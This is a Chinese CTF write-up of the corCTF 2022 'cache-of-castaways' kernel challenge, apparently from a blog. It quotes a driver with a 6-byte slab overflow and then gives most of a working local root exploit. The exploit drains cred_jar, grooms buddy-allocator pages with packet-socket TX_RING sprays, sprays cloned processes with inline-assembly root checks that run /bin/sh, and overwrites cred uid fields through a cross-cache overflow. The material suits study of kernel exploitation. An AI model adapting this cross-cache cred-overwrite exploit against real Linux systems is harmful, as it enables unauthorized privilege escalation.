26_corCTF 2022-cache-of-castaways

题目

#define MAX 8 * 50
#define OVERFLOW_SZ 0x6
#define CHUNK_SIZE 512

typedef struct
{
    char pad[OVERFLOW_SZ];   // <<<<<<<<<<<<<<<<<<
    char buf[];
}castaway_t;

struct castaway_cache
{
    char buf[CHUNK_SIZE];
};

static int init_castaway_driver(void){
	castaway_arr = kzalloc(MAX * sizeof(castaway_t *), GFP_KERNEL);
	castaway_cachep = KMEM_CACHE(castaway_cache, SLAB_PANIC | SLAB_ACCOUNT);
}
static long castaway_add(void){
	castaway_arr[idx] = kmem_cache_zalloc(castaway_cachep, GFP_KERNEL_ACCOUNT);
}
typedef struct
{
    int64_t idx;
    uint64_t size;
    char *buf;    
}user_req_t;

static long castaway_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
	user_req_t req;
	copy_from_user(&req, (void *)arg, sizeof(req))
	castaway_edit(req.idx, req.size, req.buf);
}

static long castaway_edit(int64_t idx, uint64_t size, char *buf){
	if (idx < 0 || idx >= MAX || !castaway_arr[idx]) goto edit_fail;
	if (size > CHUNK_SIZE || copy_from_user(temp, buf, size)) goto edit_fail;
	memcpy(castaway_arr[idx]->buf, temp, size);  // <<<<<<<<<<<<<
}

独立 KMEM_CACHE的6字节堆溢出

利用

int sprayfd_child[2];
int sprayfd_parent[2];

int main(int argc, char **argv)
{
    int fd = open("/dev/castaway", O_RDONLY);
    if (fd < 0)
    {
        perror("driver can't be opened");
        exit(0);
    }

    // for communicating with spraying in separate namespace via TX_RINGs
    // 用于父子进程通信,实际作为父子进程逻辑开关
    pipe(sprayfd_child);
    pipe(sprayfd_parent);

    puts("setting up spray manager in separate namespace");
    if (!fork())	
    {
        unshare_setup(getuid(), getgid());
        spray_comm_handler();
    }


void spray_comm_handler()
{
    ipc_req_t req;
    int32_t result;

    do {
        read(sprayfd_child[0], &req, sizeof(req));	// 先阻塞,知道父进程发送消息
        assert(req.idx < INITIAL_PAGE_SPRAY);
        if (req.cmd == ALLOC_PAGE)
        {
            socketfds[req.idx] = alloc_pages_via_sock(4096, 1);	// 分配出 1个order 0 paeg
        }
        else if (req.cmd == FREE_PAGE)
        {
            close(socketfds[req.idx]);
        }
        result = req.idx;
        write(sprayfd_parent[1], &result, sizeof(result));
    } while(req.cmd != EXIT_SPRAY);

}

int alloc_pages_via_sock(uint32_t size, uint32_t n)
{
    struct tpacket_req req;
    int32_t socketfd, version;

    socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socketfd < 0)
    {
        perror("bad socket");
        exit(-1);
    }

    version = TPACKET_V1;

    if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0)
    {
        perror("setsockopt PACKET_VERSION failed");
        exit(-1);
    }

    assert(size % 4096 == 0);

    memset(&req, 0, sizeof(req));

    req.tp_block_size = size;
    req.tp_block_nr = n;
    req.tp_frame_size = 4096;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0)
    {
        perror("setsockopt PACKET_TX_RING failed");
        exit(-1);
    }

    return socketfd;
}

耗尽cred_jar

#define CRED_JAR_INITIAL_SPRAY 100
    // initial drain
    puts("draining cred_jar");
    for (int i = 0; i < CRED_JAR_INITIAL_SPRAY; i++)
    {
        pid_t result = fork();
        if (!result)
        {
            just_wait();
        }
        if (result < 0)
        {
            puts("fork limit");
            exit(-1);
        }
    }

耗尽order 0中的page。最好通过堆整理,从高order中,1/2分出整块的page,并将这分出的page,继续1/2的分出,持续到order 0,消耗掉。目的,是这些消耗掉的order 0是物理连续的

#define INITIAL_PAGE_SPRAY 1000

void send_spray_cmd(enum spray_cmd cmd, int idx)
{
    ipc_req_t req;
    int32_t result;

    req.cmd = cmd;
    req.idx = idx;
    write(sprayfd_child[1], &req, sizeof(req));
    read(sprayfd_parent[0], &result, sizeof(result));
    assert(result == idx);
}

    // buddy allocator massage
    puts("massaging order 0 buddy allocations");
    for (int i = 0; i < INITIAL_PAGE_SPRAY; i++)
    {
        send_spray_cmd(ALLOC_PAGE, i);
    }

将连续消耗掉的order 0 page,间隔释放出来

    for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2)
    {
        send_spray_cmd(FREE_PAGE, i);
    }

将释放出的page重新用cred_jar占据
fork噪声问题
https://bsauce.github.io/2022/11/07/castaways/#2-3-fork%E5%99%AA%E5%A3%B0%E9%97%AE%E9%A2%98

struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};
char throwaway;
char root[] = "root\n";
char binsh[] = "/bin/sh\x00";
char *args[] = {"/bin/sh", NULL};

__attribute__((naked)) void check_and_wait()
{
    asm(
        "lea rax, [rootfd];"	// rootfd-pipe生成的文件描述符
        "mov edi, dword ptr [rax];"
        "lea rsi, [throwaway];"
        "mov rdx, 1;"
        "xor rax, rax;"
        "syscall;"				// read 先阻塞着,知道发送write(rootfd)
        "mov rax, 102;"
        "syscall;"				// getuid
        "cmp rax, 0;"			// 如果不是root,则退出
        "jne finish;"
        "mov rdi, 1;"
        "lea rsi, [root];"		
        "mov rdx, 5;"
        "mov rax, 1;"
        "syscall;"				// write(1, root_str, 71)
        "lea rdi, [binsh];"
        "lea rsi, [args];"
        "xor rdx, rdx;"
        "mov rax, 59;"
        "syscall;"				// execve("/bin/sh", args, NULL)
        "finish:"
        "lea rdi, [timer];"
        "xor rsi, rsi;"
        "mov rax, 35;"
        "syscall;"				// nanosleep
        "ret;");
}

// https://man7.org/linux/man-pages/man2/clone.2.html
/* for syscall, it's clone(flags, stack, ...) */
__attribute__((naked)) pid_t __clone(uint64_t flags, void *dest)
{
    asm("mov r15, rsi;"
        "xor rsi, rsi;"
        "xor rdx, rdx;"
        "xor r10, r10;"
        "xor r9, r9;"
        "mov rax, 56;"
        "syscall;"
        "cmp rax, 0;"
        "jl bad_end;"
        "jg good_end;"
        "jmp r15;"
        "bad_end:"
        "neg rax;"
        "ret;"
        "good_end:"
        "ret;");
}

    for (int i = 0; i < FORK_SPRAY; i++)
    {
        pid_t result = __clone(CLONE_FLAGS, &check_and_wait);
        if (result < 0)
        {
            perror("clone error");
            exit(-1);
        }
    }

释放另一半的order 0 page,期望其中一些page是与cred_jar page间隔的

    for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2)
    {
        send_spray_cmd(FREE_PAGE, i);
    }

占据与cred_jar page间隔的page,堆溢出,覆盖cred_jar中cred的uid等字段

    *(uint32_t*)&evil[CHUNK_SIZE-0x6] = 1;

    // cross cache overflow
    puts("spraying cross cache overflow");
    for (int i = 0; i < FINAL_PAGE_SPRAY; i++)
    {
        alloc_vuln_page(fd, isolation_pages, i);
        edit_vuln_page(fd, isolation_pages, i, evil, CHUNK_SIZE);
    }
    puts("notifying forks that spray is completed");

通过clone出来的进程,检查getuid

    write(rootfd[1], evil, FORK_SPRAY);
    sleep(100000);
    exit(0);

ref

https://xz.aliyun.com/t/12417
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache/
Linux内存管理 (5)slab分配器 kmem_cache_create https://www.cnblogs.com/arnoldlu/p/8215414.html
https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html

  • 10
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值